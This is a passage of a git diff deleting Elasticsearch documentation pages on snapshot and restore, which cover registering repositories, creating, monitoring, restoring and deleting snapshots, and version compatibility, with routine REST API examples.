-  "settings": {
-    "location": "my_backup_location"
-  }
-}
-
-PUT /_snapshot/my_backup/snapshot_1?wait_for_completion=true
-
-PUT /_snapshot/my_backup/snapshot_2?wait_for_completion=true
-
-PUT /_snapshot/my_backup/snapshot_3?wait_for_completion=true
------------------------------------
-// TESTSETUP
-
-////
-
-Use the <<delete-snapshot-api,delete snapshot API>> to delete a snapshot
-from the repository:
-
-[source,console]
-----
-DELETE /_snapshot/my_backup/snapshot_1
-----
-
-When a snapshot is deleted from a repository, {es} deletes all files associated with the
-snapshot that are not in-use by other snapshots.
-
-If the delete snapshot operation starts while the snapshot is being
-created, the snapshot process halts and all files created as part of the snapshotting process are
-removed. Use the <<delete-snapshot-api,Delete snapshot API>> to cancel long running snapshot operations that were
-started by mistake.
-
-To delete multiple snapshots from a repository, separate snapshot names by commas or use wildcards:
-
-[source,console]
------------------------------------
-DELETE /_snapshot/my_backup/snapshot_2,snapshot_3
-DELETE /_snapshot/my_backup/snap*
------------------------------------
diff --git a/docs/reference/snapshot-restore/index.asciidoc b/docs/reference/snapshot-restore/index.asciidoc
deleted file mode 100644
index 15329792ce4..00000000000
--- a/docs/reference/snapshot-restore/index.asciidoc
+++ /dev/null
@@ -1,119 +0,0 @@
-[[snapshot-restore]]
-= Snapshot and restore
-
-[partintro]
---
-
-// tag::snapshot-intro[]
-A _snapshot_ is a backup taken from a running {es} cluster.
-You can take snapshots of an entire cluster, including all its data streams and
-indices. You can also take snapshots of only specific data streams or indices in
-the cluster.
-
-You must
-<<snapshots-register-repository, register a snapshot repository>>
-before you can <<snapshots-take-snapshot, create snapshots>>.
-
-Snapshots can be stored in either local or remote repositories.
-Remote repositories can reside on Amazon S3, HDFS, Microsoft Azure,
-Google Cloud Storage,
-and other platforms supported by a {plugins}/repository.html[repository plugin].
-
-{es} takes snapshots incrementally: the snapshotting process only copies data
-to the repository that was not already copied there by an earlier snapshot,
-avoiding unnecessary duplication of work or storage space. This means you can
-safely take snapshots very frequently with minimal overhead. However, snapshots
-are also logically independent: deleting a snapshot does not affect the
-integrity of any other snapshot.
-// end::snapshot-intro[]
-
-// tag::restore-intro[]
-You can <<snapshots-restore-snapshot,restore snapshots>> to a running cluster, which includes all data streams and indices in the snapshot
-by default.
-However, you can choose to restore only the cluster state or specific data
-streams or indices from a snapshot.
-// end::restore-intro[]
-
-You can use
-<<getting-started-snapshot-lifecycle-management, {slm}>>
-to automatically take and manage snapshots.
-
-// tag::backup-warning[]
-WARNING: You cannot back up an {es} cluster by simply copying
-the data directories of all of its nodes. {es} may be making changes to
-the contents of its data directories while it is running; copying its data
-directories cannot be expected to capture a consistent picture of their contents.
-If you try to restore a cluster from such a backup, it may fail and report
-corruption and/or missing files. Alternatively, it may appear to have succeeded
-though it silently lost some of its data. The only reliable way to back up a
-cluster is by using the snapshot and restore functionality.
-
-// end::backup-warning[]
-
-[discrete]
-[[snapshot-restore-version-compatibility]]
-=== Version compatibility
-
-IMPORTANT: Version compatibility refers to the underlying Lucene index
-compatibility. Follow the <<setup-upgrade,Upgrade documentation>>
-when migrating between versions.
-
-A snapshot contains a copy of the on-disk data structures that comprise an
-index or a data stream's backing indices. This means that snapshots can only be restored to versions of
-{es} that can read the indices.
-
-The following table indicates snapshot compatibility between versions. The first column denotes the base version that you can restore snapshots from.
-
-// tag::snapshot-compatibility-matrix[]
-[cols="6"]
-|===
-| 5+^h| Cluster version
-^h| Snapshot version ^| 2.x ^| 5.x ^| 6.x ^| 7.x ^| 8.x
-^| *1.x* -> ^|{yes-icon} ^|{no-icon}  ^|{no-icon}  ^|{no-icon}  ^|{no-icon}
-^| *2.x* -> ^|{yes-icon} ^|{yes-icon} ^|{no-icon}  ^|{no-icon}  ^|{no-icon}
-^| *5.x* -> ^|{no-icon}  ^|{yes-icon} ^|{yes-icon} ^|{no-icon}  ^|{no-icon}
-^| *6.x* -> ^|{no-icon}  ^|{no-icon}  ^|{yes-icon} ^|{yes-icon} ^|{no-icon}
-^| *7.x* -> ^|{no-icon}  ^|{no-icon}  ^|{no-icon}  ^|{yes-icon} ^|{yes-icon}
-|===
-// end::snapshot-compatibility-matrix[]
-
-The following conditions apply for restoring snapshots and indices across versions:
-
-* *Snapshots*: You cannot restore snapshots from later {es} versions into a cluster running an earlier {es} version. For example, you cannot restore a snapshot taken in 7.6.0 to a cluster running 7.5.0.
-* *Indices*: You cannot restore indices into a cluster running a version of {es} that is more than _one major version_ newer than the version of {es} used to snapshot the indices. For example, you cannot restore indices from a snapshot taken in 5.0 to a cluster running 7.0.
-+
-[NOTE]
-====
-The one caveat is that snapshots taken by {es} 2.0 can be restored in clusters running {es} 5.0.
-====
-
-Each snapshot can contain indices created in various versions of {es}. This
-includes backing indices created for data streams. When restoring a snapshot, it
-must be possible to restore all of these indices into the target cluster. If any
-indices in a snapshot were created in an incompatible version, you will not be
-able restore the snapshot.
-
-IMPORTANT: When backing up your data prior to an upgrade, keep in mind that you
-won't be able to restore snapshots after you upgrade if they contain indices
-created in a version that's incompatible with the upgrade version.
-
-If you end up in a situation where you need to restore a snapshot of a data stream or index
-that is incompatible with the version of the cluster you are currently running,
-you can restore it on the latest compatible version and use
-<<reindex-from-remote,reindex-from-remote>> to rebuild the data stream or index on the current
-version. Reindexing from remote is only possible if the original data stream or index has
-source enabled. Retrieving and reindexing the data can take significantly
-longer than simply restoring a snapshot. If you have a large amount of data, we
-recommend testing the reindex from remote process with a subset of your data to
-understand the time requirements before proceeding.
-
---
-
-include::register-repository.asciidoc[]
-include::take-snapshot.asciidoc[]
-include::restore-snapshot.asciidoc[]
-include::monitor-snapshot-restore.asciidoc[]
-include::delete-snapshot.asciidoc[]
-include::../slm/index.asciidoc[]
-include::../searchable-snapshots/index.asciidoc[]
-
diff --git a/docs/reference/snapshot-restore/monitor-snapshot-restore.asciidoc b/docs/reference/snapshot-restore/monitor-snapshot-restore.asciidoc
deleted file mode 100644
index 757406d17bb..00000000000
--- a/docs/reference/snapshot-restore/monitor-snapshot-restore.asciidoc
+++ /dev/null
@@ -1,176 +0,0 @@
-[[snapshots-monitor-snapshot-restore]]
-== Monitor snapshot and restore progress
-++++
-<titleabbrev>Monitor snapshot and restore</titleabbrev>
-++++
-
-Use the <<get-snapshot-api,get snapshot API>> or the
-<<get-snapshot-status-api,get snapshot status API>> to monitor the
-progress of snapshot operations. Both APIs support the
-`wait_for_completion` parameter that blocks the client until the
-operation finishes, which is the simplest method of being notified
-about operation completion.
-
-////
-[source,console]
------------------------------------
-PUT /_snapshot/my_backup
-{
-  "type": "fs",
-  "settings": {
-    "location": "my_backup_location"
-  }
-}
-
-PUT /_snapshot/my_fs_backup
-{
-  "type": "fs",
-  "settings": {
-    "location": "my_other_backup_location"
-  }
-}
-
-PUT /_snapshot/my_backup/snapshot_1?wait_for_completion=true
-
-PUT /_snapshot/my_backup/some_other_snapshot?wait_for_completion=true
------------------------------------
-// TESTSETUP
-
-////
-
-Use the `_current` parameter to retrieve all currently running
-snapshots in the cluster:
-
-[source,console]
------------------------------------
-GET /_snapshot/my_backup/_current
------------------------------------
-
-Including a snapshot name in the request retrieves information about a single snapshot:
-
-[source,console]
------------------------------------
-GET /_snapshot/my_backup/snapshot_1
------------------------------------
-
-This request retrieves basic information about the snapshot, including start and end time, version of
-{es} that created the snapshot, the list of included data streams and indices, the current state of the
-snapshot and the list of failures that occurred during the snapshot.
-
-Similar to repositories, you can retrieve information about multiple snapshots in a single request, and wildcards are supported:
-
-[source,console]
------------------------------------
-GET /_snapshot/my_backup/snapshot_*,some_other_snapshot
------------------------------------
-
-Separate repository names with commas or use wildcards to retrieve snapshots from multiple repositories:
-
-[source,console]
------------------------------------
-GET /_snapshot/_all
-GET /_snapshot/my_backup,my_fs_backup
-GET /_snapshot/my*
------------------------------------
-
-Add the `_all` parameter to the request to list all snapshots currently stored in the repository:
-
-[source,console]
------------------------------------
-GET /_snapshot/my_backup/_all
------------------------------------
-
-This request fails if some of the snapshots are unavailable. Use the boolean parameter `ignore_unavailable` to
-return all snapshots that are currently available.
-
-Getting all snapshots in the repository can be costly on cloud-based repositories,
-both from a cost and performance perspective.  If the only information required is
-the snapshot names or UUIDs in the repository and the data streams and indices in each snapshot, then
-the optional boolean parameter `verbose` can be set to `false` to execute a more
-performant and cost-effective retrieval of the snapshots in the repository.
-
-NOTE: Setting `verbose` to `false` omits additional information
-about the snapshot, such as metadata, start and end time, number of shards that include the snapshot, and error messages. The default value of the `verbose` parameter is `true`.
-
-[discrete]
-[[get-snapshot-detailed-status]]
-=== Retrieving snapshot status
-To retrieve more detailed information about snapshots, use the <<get-snapshot-status-api,get snapshot status API>>. While snapshot request returns only basic information about the snapshot in progress, the snapshot status request returns
-complete breakdown of the current state for each shard participating in the snapshot.
-
-// tag::get-snapshot-status-warning[]
-[WARNING]
-====
-Using the get snapshot status API to return any status results other than the currently running snapshots (`_current`) can be very expensive. Each request to retrieve snapshot status results in file reads from every shard in a snapshot, for each snapshot. Such requests are taxing to machine resources and can also incur high processing costs when running in the cloud.
-
-For example, if you have 100 snapshots with 1,000 shards each, the API request will result in 100,000 file reads (100 snapshots * 1,000 shards). Depending on the latency of your file storage, the request can take extremely long to retrieve results.
-====
-// end::get-snapshot-status-warning[]
-
-The following request retrieves all currently running snapshots with
-detailed status information:
-
-[source,console]
------------------------------------
-GET /_snapshot/_status
------------------------------------
-
-By specifying a repository name, it's possible
-to limit the results to a particular repository:
-
-[source,console]
------------------------------------
-GET /_snapshot/my_backup/_status
------------------------------------
-
-If both repository name and snapshot name are specified, the request
-returns detailed status information for the given snapshot, even
-if not currently running:
-
-[source,console]
------------------------------------
-GET /_snapshot/my_backup/snapshot_1/_status
------------------------------------
-
-[discrete]
-=== Monitoring restore operations
-
-The restore process piggybacks on the standard recovery mechanism of
-{es}. As a result, standard recovery monitoring services can be used
-to monitor the state of restore. When the restore operation starts, the
-cluster typically goes into `yellow` state because the restore operation works
-by recovering primary shards of the restored indices. After the recovery of the
-primary shards is completed, {es} switches to the standard replication
-process that creates the required number of replicas. When all required
-replicas are created, the cluster switches to the `green` states.
-
-The cluster health operation provides only a high level status of the restore process. It's possible to get more
-detailed insight into the current state of the recovery process by using <<indices-recovery, index recovery>> and
-<<cat-recovery, cat recovery>> APIs.
-
-[discrete]
-[[get-snapshot-stop-snapshot]]
-=== Stop snapshot and restore operations
-To stop a currently running snapshot that was started by mistake or is taking unusually long, use
-the <<delete-snapshot-api,delete snapshot API>>.
-This operation checks whether the deleted snapshot is currently running. If it is, the delete snapshot operation stops
-that snapshot before deleting the snapshot data from the repository.
-
-[source,console]
------------------------------------
-DELETE /_snapshot/my_backup/snapshot_1
------------------------------------
-
-The restore operation uses the standard shard recovery mechanism. Therefore, any currently running restore operation can
-be canceled by deleting data streams and indices that are being restored. Data for all deleted data streams and indices will be removed
-from the cluster as a result of this operation.
-
-[discrete]
-[[get-snapshot-cluster-blocks]]
-=== Effect of cluster blocks on snapshot and restore
-Many snapshot and restore operations are affected by cluster and index blocks. For example, registering and unregistering
-repositories require global metadata write access. The snapshot operation requires that all indices, backing indices, and their metadata (including
-global metadata) are readable. The restore operation requires the global metadata to be writable. However,
-the index level blocks are ignored during restore because indices are essentially recreated during restore.
-A repository content is not part of the cluster and therefore cluster blocks do not affect internal
-repository operations such as listing or deleting snapshots from an already registered repository.
diff --git a/docs/reference/snapshot-restore/register-repository.asciidoc b/docs/reference/snapshot-restore/register-repository.asciidoc
deleted file mode 100644
index 1f210326d22..00000000000
--- a/docs/reference/snapshot-restore/register-repository.asciidoc
+++ /dev/null
@@ -1,294 +0,0 @@
-[[snapshots-register-repository]]
-== Register a snapshot repository
-
-++++
-<titleabbrev>Register repository</titleabbrev>
-++++
-[[snapshots-register-repository-description]]
-// tag::snapshots-register-repository-tag[]
-You must register a snapshot repository before you can perform snapshot and
-restore operations. Use the <<put-snapshot-repo-api,put snapshot repository API>> to register or update a snapshot repository. We recommend creating a new snapshot repository for each
-major version. The valid repository settings depend on the repository type.
-
-If you register the same snapshot repository with multiple clusters, only
-one cluster should have write access to the repository. All other clusters
-connected to that repository should set the repository to `readonly` mode.
-// end::snapshots-register-repository-tag[]
-
-[IMPORTANT]
-====
-The snapshot format can change across major versions, so if you have
-clusters on different versions trying to write to the same repository, snapshots
-written by one version may not be visible to the other and the repository could
-be corrupted. While setting the repository to `readonly` on all but one of the
-clusters should work with multiple clusters differing by one major version, it
-is not a supported configuration.
-====
-
-[source,console]
------------------------------------
-PUT /_snapshot/my_backup
-{
-  "type": "fs",
-  "settings": {
-    "location": "my_backup_location"
-  }
-}
------------------------------------
-// TESTSETUP
-
-Use the <<get-snapshot-api,get snapshot API>> to retrieve information about a registered repository:
-
-[source,console]
------------------------------------
-GET /_snapshot/my_backup
------------------------------------
-
-This request returns the following response:
-
-[source,console-result]
------------------------------------
-{
-  "my_backup": {
-    "type": "fs",
-    "settings": {
-      "location": "my_backup_location"
-    }
-  }
-}
------------------------------------
-
-To retrieve information about multiple repositories, specify a comma-delimited
-list of repositories. You can also use a wildcard (`*`) when
-specifying repository names. For example, the following request retrieves
-information about all of the snapshot repositories that start with `repo` or
-contain `backup`:
-
-[source,console]
------------------------------------
-GET /_snapshot/repo*,*backup*
------------------------------------
-
-To retrieve information about all registered snapshot repositories, omit the
-repository name:
-
-[source,console]
------------------------------------
-GET /_snapshot
------------------------------------
-
-Alternatively, you can specify `_all`:
-
-[source,console]
------------------------------------
-GET /_snapshot/_all
------------------------------------
-
-You can unregister a repository using the
-<<delete-snapshot-repo-api,delete snapshot repository API>>:
-
-[source,console]
------------------------------------
-DELETE /_snapshot/my_backup
------------------------------------
-
-When a repository is unregistered, {es} only removes the reference to the
-location where the repository is storing the snapshots. The snapshots themselves
-are left untouched and in place.
-
-[discrete]
-[[snapshots-filesystem-repository]]
-=== Shared file system repository
-
-Use a shared file system repository (`"type": "fs"`) to store snapshots on a
-shared file system.
-
-To register a shared file system repository, first mount the file system to the
-same location on all master and data nodes. Then add the file system's
-path or parent directory to the `path.repo` setting in `elasticsearch.yml` for
-each master and data node. For running clusters, this requires a
-<<restart-cluster-rolling,rolling restart>> of each node.
-
-IMPORTANT: By default, a network file system (NFS) uses user IDs (UIDs) and
-group IDs (GIDs) to match accounts across nodes. If your shared file system is
-an NFS and your nodes don't use the same UIDs and GIDs, update your NFS
-configuration to account for this.
-
-Supported `path.repo` values vary by platform:
-
-include::{es-repo-dir}/tab-widgets/code.asciidoc[]
-
-include::{es-repo-dir}/tab-widgets/register-fs-repo-widget.asciidoc[]
-
-[discrete]
-[[snapshots-read-only-repository]]
-=== Read-only URL repository
-
-If you register the same snapshot repository with multiple clusters, only one
-cluster should have write access to the repository. Having multiple clusters
-write to the repository at the same time risks corrupting the contents of the
-repository.
-
-To reduce this risk, you can use URL repositories (`"type": "url"`) to give one
-or more clusters read-only access to a shared file system repository. As URL
-repositories are always read-only, they are a safer and more convenient
-alternative to registering a read-only shared filesystem repository.
-
-The URL specified in the `url` parameter should point to the root of the shared
-filesystem repository.
-
-[source,console]
-----
-PUT /_snapshot/my_read_only_url_repository
-{
-  "type": "url",
-  "settings": {
-    "url": "file:/mount/backups/my_fs_backup_location"
-  }
-}
-----
-// TEST[skip:no access to url file path]
-
-The `url` parameter supports the following protocols:
-
-* `file`
-* `ftp`
-* `http`
-* `https`
-* `jar`
-
-URLs using the `file` protocol must point to the location of a shared filesystem
-accessible to all master and data nodes in the cluster. This location must be
-registered in the `path.repo` setting, similar to a
-<<snapshots-filesystem-repository,shared file system repository>>.
-
-URLs using the `ftp`, `http`, or `https` protocols must be explicitly allowed with the
-`repositories.url.allowed_urls` setting. This setting supports wildcards (`*`)
-in place of a host, path, query, or fragment in the URL. For example:
-
-[source,yaml]
-----
-repositories.url.allowed_urls: ["http://www.example.org/root/*", "https://*.mydomain.com/*?*#*"]
-----
-
-NOTE: URLs using the `ftp`, `http`, `https`, or `jar` protocols do not need to
-be registered in the `path.repo` setting.
-
-[discrete]
-[role="xpack"]
-[testenv="basic"]
-[[snapshots-source-only-repository]]
-=== Source only repository
-
-A source repository enables you to create minimal, source-only snapshots that take up to 50% less space on disk.
-Source only snapshots contain stored fields and index metadata. They do not include index or doc values structures
-and are not searchable when restored. After restoring a source-only snapshot, you must <<docs-reindex,reindex>>
-the data into a new index.
-
-Source repositories delegate to another snapshot repository for storage.
-
-[IMPORTANT]
-==================================================
-
-Source only snapshots are only supported if the `_source` field is enabled and no source-filtering is applied.
-When you restore a source only snapshot:
-
- * The restored index is read-only and can only serve `match_all` search or scroll requests to enable reindexing.
-
- * Queries other than `match_all` and `_get` requests are not supported.
-
- * The mapping of the restored index is empty, but the original mapping is available from the types top
-   level `meta` element.
-
-==================================================
-
-When you create a source repository, you must specify the type and name of the delegate repository
-where the snapshots will be stored:
-
-[source,console]
------------------------------------
-PUT _snapshot/my_src_only_repository
-{
-  "type": "source",
-  "settings": {
-    "delegate_type": "fs",
-    "location": "my_backup_location"
-  }
-}
------------------------------------
-// TEST[continued]
-
-[discrete]
-[[snapshots-repository-plugins]]
-=== Repository plugins
-
-Other repository backends are available in these official plugins:
-
-* {plugins}/repository-s3.html[repository-s3] for S3 repository support
-* {plugins}/repository-hdfs.html[repository-hdfs] for HDFS repository support in Hadoop environments
-* {plugins}/repository-azure.html[repository-azure] for Azure storage repositories
-* {plugins}/repository-gcs.html[repository-gcs] for Google Cloud Storage repositories
-
-[discrete]
-[[snapshots-repository-verification]]
-=== Repository verification
-When a repository is registered, it's immediately verified on all master and data nodes to make sure that it is functional
-on all nodes currently present in the cluster. The `verify` parameter can be used to explicitly disable the repository
-verification when registering or updating a repository:
-
-[source,console]
------------------------------------
-PUT /_snapshot/my_unverified_backup?verify=false
-{
-  "type": "fs",
-  "settings": {
-    "location": "my_unverified_backup_location"
-  }
-}
------------------------------------
-// TEST[continued]
-
-The verification process can also be executed manually by running the following command:
-
-[source,console]
------------------------------------
-POST /_snapshot/my_unverified_backup/_verify
------------------------------------
-// TEST[continued]
-
-It returns a list of nodes where repository was successfully verified or an error message if verification process failed.
-
-[discrete]
-[[snapshots-repository-cleanup]]
-=== Repository cleanup
-Repositories can over time accumulate data that is not referenced by any existing snapshot. This is a result of the data safety guarantees
-the snapshot functionality provides in failure scenarios during snapshot creation and the decentralized nature of the snapshot creation
-process. This unreferenced data does in no way negatively impact the performance or safety of a snapshot repository but leads to higher
-than necessary storage use. In order to clean up this unreferenced data, users can call the cleanup endpoint for a repository which will
-trigger a complete accounting of the repositories contents and subsequent deletion of all unreferenced data that was found.
-
-[source,console]
------------------------------------
-POST /_snapshot/my_repository/_cleanup
------------------------------------
-// TEST[continued]
-
-The response to a cleanup request looks as follows:
-
-[source,console-result]
---------------------------------------------------
-{
-  "results": {
-    "deleted_bytes": 20,
-    "deleted_blobs": 5
-  }
-}
---------------------------------------------------
-
-Depending on the concrete repository implementation the numbers shown for bytes free as well as the number of blobs removed will either
-be an approximation or an exact result. Any non-zero value for the number of blobs removed implies that unreferenced blobs were found and
-subsequently cleaned up.
-
-Please note that most of the cleanup operations executed by this endpoint are automatically executed when deleting any snapshot from a
-repository. If you regularly delete snapshots, you will in most cases not get any or only minor space savings from using this functionality
-and should lower your frequency of invoking it accordingly.
diff --git a/docs/reference/snapshot-restore/restore-snapshot.asciidoc b/docs/reference/snapshot-restore/restore-snapshot.asciidoc
deleted file mode 100644
index 63033641f5f..00000000000
--- a/docs/reference/snapshot-restore/restore-snapshot.asciidoc
+++ /dev/null
@@ -1,189 +0,0 @@
-[[snapshots-restore-snapshot]]
-== Restore a snapshot
-
-////
-[source,console]
------------------------------------
-PUT /_snapshot/my_backup
-{
-  "type": "fs",
-  "settings": {
-    "location": "my_backup_location"
-  }
-}
-
-PUT /_snapshot/my_backup/snapshot_1?wait_for_completion=true
------------------------------------
-// TESTSETUP
-
-////
-
-Use the <<restore-snapshot-api,restore snapshot API>> to restore
-a snapshot of a cluster or specified data streams and indices:
-
-[source,console]
------------------------------------
-POST /_snapshot/my_backup/snapshot_1/_restore
------------------------------------
-// TEST[s/_restore/_restore?wait_for_completion=true/]
-
-By default, all data streams and indices in the snapshot are restored, but the cluster state is
-*not* restored. Use the `indices` parameter to restore only specific data streams or indices. This parameter
-supports <<multi-index,multi-target syntax>>. To include the global cluster state, set
-`include_global_state` to `true` in the restore request body.
-
-[WARNING]
-====
-Each data stream requires a matching
-<<create-a-data-stream-template,index template>>. The stream uses this
-template to create new backing indices.
-
-When restoring a data stream, ensure a matching template exists for the stream.
-You can do this using one of the following methods:
-
-* Check for existing templates that match the stream. If no matching template
-  exists, <<create-a-data-stream-template,create one>>.
-
-* Restore a global cluster state that includes a matching template for the
-  stream.
-
-If no index template matches a data stream, the stream cannot
-<<manually-roll-over-a-data-stream,roll over>> or create new backing indices.
-====
-
-The `rename_pattern`
-and `rename_replacement` options can be also used to rename data streams and indices on restore
-using regular expression that supports referencing the original text, according to the https://docs.oracle.com/javase/8/docs/api/java/util/regex/Matcher.html#appendReplacement-java.lang.StringBuffer-java.lang.String-[`appendReplacement`] logic.
-
-[[rename-restored-data-stream]]
-// tag::rename-restored-data-stream-tag[]
-If you rename a restored data stream, its backing indices are also
-renamed. For example, if you rename the `logs` data stream to `restored-logs`,
-the backing index `.ds-logs-000005` is renamed to `.ds-restored-logs-000005`.
-
-[WARNING]
-====
-If you rename a restored stream, ensure an index template matches the new stream
-name. If no index template matches the stream, it cannot
-<<manually-roll-over-a-data-stream,roll over>> or create new backing indices.
-====
-// end::rename-restored-data-stream-tag[]
-
-Set `include_aliases` to `false` to prevent aliases from being restored together
-with associated indices
-
-[source,console]
------------------------------------
-POST /_snapshot/my_backup/snapshot_1/_restore
-{
-  "indices": "data_stream_1,index_1,index_2",
-  "ignore_unavailable": true,
-  "include_global_state": false,              <1>
-  "rename_pattern": "index_(.+)",
-  "rename_replacement": "restored_index_$1",
-  "include_aliases": false
-}
------------------------------------
-// TEST[continued]
-
-<1> By default, `include_global_state` is `false`, meaning the snapshot's
-cluster state is not restored.
-+
-If `true`, the snapshot's persistent settings, index templates, ingest
-pipelines, and {ilm-init} policies are restored into the current cluster. This
-overwrites any existing cluster settings, templates, pipelines and {ilm-init}
-policies whose names match those in the snapshot.
-
-The restore operation must be performed on a functioning cluster. However, an
-existing index can be only restored if it's <<indices-close,closed>> and
-has the same number of shards as the index in the snapshot. The restore
-operation automatically opens restored indices if they were closed and creates
-new indices if they didn't exist in the cluster.
-
-If a data stream is restored, its backing indices are also restored. The restore
-operation automatically opens restored backing indices if they were closed.
-
-NOTE: You cannot restore a data stream if a stream with the same name already
-exists.
-
-In addition to entire data streams, you can restore only specific backing
-indices from a snapshot. However, restored backing indices are not automatically
-added to any existing data streams. For example, if only the `.ds-logs-000003`
-backing index is restored from a snapshot, it is not automatically added to the
-existing `logs` data stream.
-
-[discrete]
-=== Partial restore
-
-By default, the entire restore operation will fail if one or more indices or backing indices participating in the operation don't have
-snapshots of all shards available. It can occur if some shards failed to snapshot for example. It is still possible to
-restore such indices by setting `partial` to `true`. Please note, that only successfully snapshotted shards will be
-restored in this case and all missing shards will be recreated empty.
-
-
-[discrete]
-[[change-index-settings-during-restore]]
-=== Changing index settings during restore
-
-Use the <<restore-snapshot-api-index-settings,`index_settings`>> parameter
-to override index settings during the restore process. For example, the
-following request will restore the index `index_1` without creating any
-replicas while switching back to the default refresh interval:
-
-[source,console]
------------------------------------
-POST /_snapshot/my_backup/snapshot_1/_restore
-{
-  "indices": "index_1",
-  "ignore_unavailable": true,
-  "index_settings": {
-    "index.number_of_replicas": 0
-  },
-  "ignore_index_settings": [
-    "index.refresh_interval"
-  ]
-}
------------------------------------
-// TEST[continued]
-
-NOTE: Some settings such as `index.number_of_shards` cannot be changed during the restore operation.
-
-For data streams, these index settings are applied to the restored backing
-indices.
-
-// tag::index-settings-data-stream-warning[]
-[IMPORTANT]
-====
-The `index_settings` and `ignore_index_settings` parameters affect
-restored backing indices only. New backing indices created for a stream use the index
-settings specified in the stream's matching
-<<create-a-data-stream-template,index template>>.
-
-If you change index settings during a restore, we recommend you make similar
-changes in the stream's matching index template. This ensures new backing
-indices created for the stream use the same index settings.
-====
-// end::index-settings-data-stream-warning[]
-
-[discrete]
-=== Restoring to a different cluster
-
-The information stored in a snapshot is not tied to a particular cluster or a cluster name. Therefore, it's possible to
-restore a snapshot created from one cluster into another cluster by registering the repository that contains the snapshot in the new cluster and starting the restore process.
-
-The topology of the new cluster does not have to match the cluster where the snapshot was created. However, the version of the new cluster must be the same or only one major version newer than the cluster that was used to create the snapshot. For example, you can restore a 5.x snapshot to a 6.x cluster, but not a 5.x snapshot to a 7.x cluster.
-
-If the new cluster has a smaller capacity, consider the following changes:
-
-* Ensure that the new cluster has enough capacity to store all data streams and indices in the snapshot.
-* Change the index settings during the restore operation to reduce the
-<<dynamic-index-number-of-replicas,number of replicas>>.
-* Use the `indices` parameter to choose only specific data streams or indices to restore.
-
-If indices or backing indices in the original cluster were assigned to particular nodes using
-<<shard-allocation-filtering,shard allocation filtering>>, the same rules will be enforced in the new cluster. If the new cluster does not contain nodes with appropriate attributes that a restored index can be allocated on, the
-index will not be successfully restored unless these index allocation settings are changed during the restore operation.
-
-The restore operation also checks that restored persistent settings are compatible with the current cluster to avoid accidentally
-restoring incompatible settings. If you need to restore a snapshot with incompatible persistent settings, try restoring it without
-the <<restore-snapshot-api-include-global-state,global cluster state>>.
diff --git a/docs/reference/snapshot-restore/take-snapshot.asciidoc b/docs/reference/snapshot-restore/take-snapshot.asciidoc
deleted file mode 100644
index ddc2812dbe2..00000000000
--- a/docs/reference/snapshot-restore/take-snapshot.asciidoc
+++ /dev/null
@@ -1,128 +0,0 @@
-[[snapshots-take-snapshot]]
-== Create a snapshot
-
-A repository can contain multiple snapshots of the same cluster. Snapshots are identified by unique names within the
-cluster.
-
-Use the <<put-snapshot-repo-api,put snapshot repository API>> to register or update a snapshot repository, and then use the <<create-snapshot-api,create snapshot API>> to create a snapshot in a repository.
-
-The following request creates a snapshot with the name `snapshot_1` in the repository `my_backup`:
-
-////
-[source,console]
------------------------------------
-PUT /_snapshot/my_backup
-{
-  "type": "fs",
-  "settings": {
-    "location": "my_backup_location"
-  }
-}
------------------------------------
-// TESTSETUP
-////
-
-[source,console]
------------------------------------
-PUT /_snapshot/my_backup/snapshot_1?wait_for_completion=true
------------------------------------
-
-The `wait_for_completion` parameter specifies whether or not the request should return immediately after snapshot
-initialization (default) or wait for snapshot completion. During snapshot initialization, information about all
-previous snapshots is loaded into memory, which means that in large repositories it may take several seconds (or
-even minutes) for this request to return even if the `wait_for_completion` parameter is set to `false`.
-
-By default, a snapshot backs up all data streams and open indices in the cluster. You can change this behavior by
-specifying the list of data streams and indices in the body of the snapshot request:
-
-[source,console]
------------------------------------
-PUT /_snapshot/my_backup/snapshot_2?wait_for_completion=true
-{
-  "indices": "data_stream_1,index_1,index_2",
-  "ignore_unavailable": true,
-  "include_global_state": false,
-  "metadata": {
-    "taken_by": "kimchy",
-    "taken_because": "backup before upgrading"
-  }
-}
------------------------------------
-// TEST[skip:cannot complete subsequent snapshot]
-
-Use the `indices` parameter to list the data streams and indices that should be included in the snapshot. This parameter supports
-<<multi-index,multi-target syntax>>, although the options that control the behavior of multi-index syntax
-must be supplied in the body of the request, rather than as request parameters.
-
-Data stream backups include the stream's backing indices and metadata, such as
-the current <<data-streams-generation,generation>> and timestamp field.
-
-You can also choose to include only specific backing indices in a snapshot.
-However, these backups do not include the associated data stream's
-metadata or its other backing indices.
-
-[discrete]
-[[create-snapshot-process-details]]
-=== Snapshot process details
-The snapshot process is incremental. In the process of making the snapshot, {es} analyses
-the list of the data stream and index files that are already stored in the repository and copies only files that were created or
-changed since the last snapshot. This process allows multiple snapshots to be preserved in the repository in a compact form.
-
-The snapshot process is executed in non-blocking fashion. All indexing and searching operations can continue to run against the data stream or index
-that is being snapshotted. However, a snapshot represents a point-in-time view
-at the moment when snapshot was created, so no records that were added to the data stream or index after the snapshot process was started
-will be included in the snapshot.
-
-The snapshot process starts immediately for the primary shards that have been started and are not relocating at the moment. {es} waits for
-relocation or initialization of shards to complete before snapshotting them.
-
-Besides creating a copy of each data stream and index, the snapshot process can also store global cluster metadata, which includes persistent
-cluster settings and templates. The transient settings and registered snapshot repositories are not stored as part of
-the snapshot.
-
-While a snapshot of a particular shard is being
-created, this shard cannot be moved to another node, which can interfere with rebalancing and allocation
-filtering. {es} can only move a shard to another node (according to the current allocation
-filtering settings and rebalancing algorithm) after the snapshot process
-is finished.
-
-After a snapshot is created, use the <<get-snapshot-api,Get snapshot API>> to retrieve information about a snapshot. See <<snapshots-monitor-snapshot-restore,Monitor snapshot and restore progress>> to learn more about retrieving snapshot status.
-
-[discrete]
-[[create-snapshot-options]]
-=== Options for creating a snapshot
-The create snapshot request supports the
-`ignore_unavailable` option. Setting it to `true` will cause data streams and indices that do not exist to be ignored during snapshot
-creation. By default, when the `ignore_unavailable` option is not set and a data stream or index is missing, the snapshot request will fail.
-
-By setting `include_global_state` to `false` it's possible to prevent the cluster global state to be stored as part of
-the snapshot.
-
-IMPORTANT: The global cluster state includes the cluster's index
-templates, such as those <<create-a-data-stream-template,matching a data
-stream>>. If your snapshot includes data streams, we recommend storing the
-cluster state as part of the snapshot. This lets you later restored any
-templates required for a data stream.
-
-By default, the entire snapshot will fail if one or more indices participating in the snapshot do not have
-all primary shards available. You can change this behaviour by setting `partial` to `true`. The `expand_wildcards`
-option can be used to control whether hidden and closed indices will be included in the snapshot, and defaults to `all`.
-
-Use the `metadata` field to attach arbitrary metadata to the snapshot,
-such as who took the snapshot,
-why it was taken, or any other data that might be useful.
-
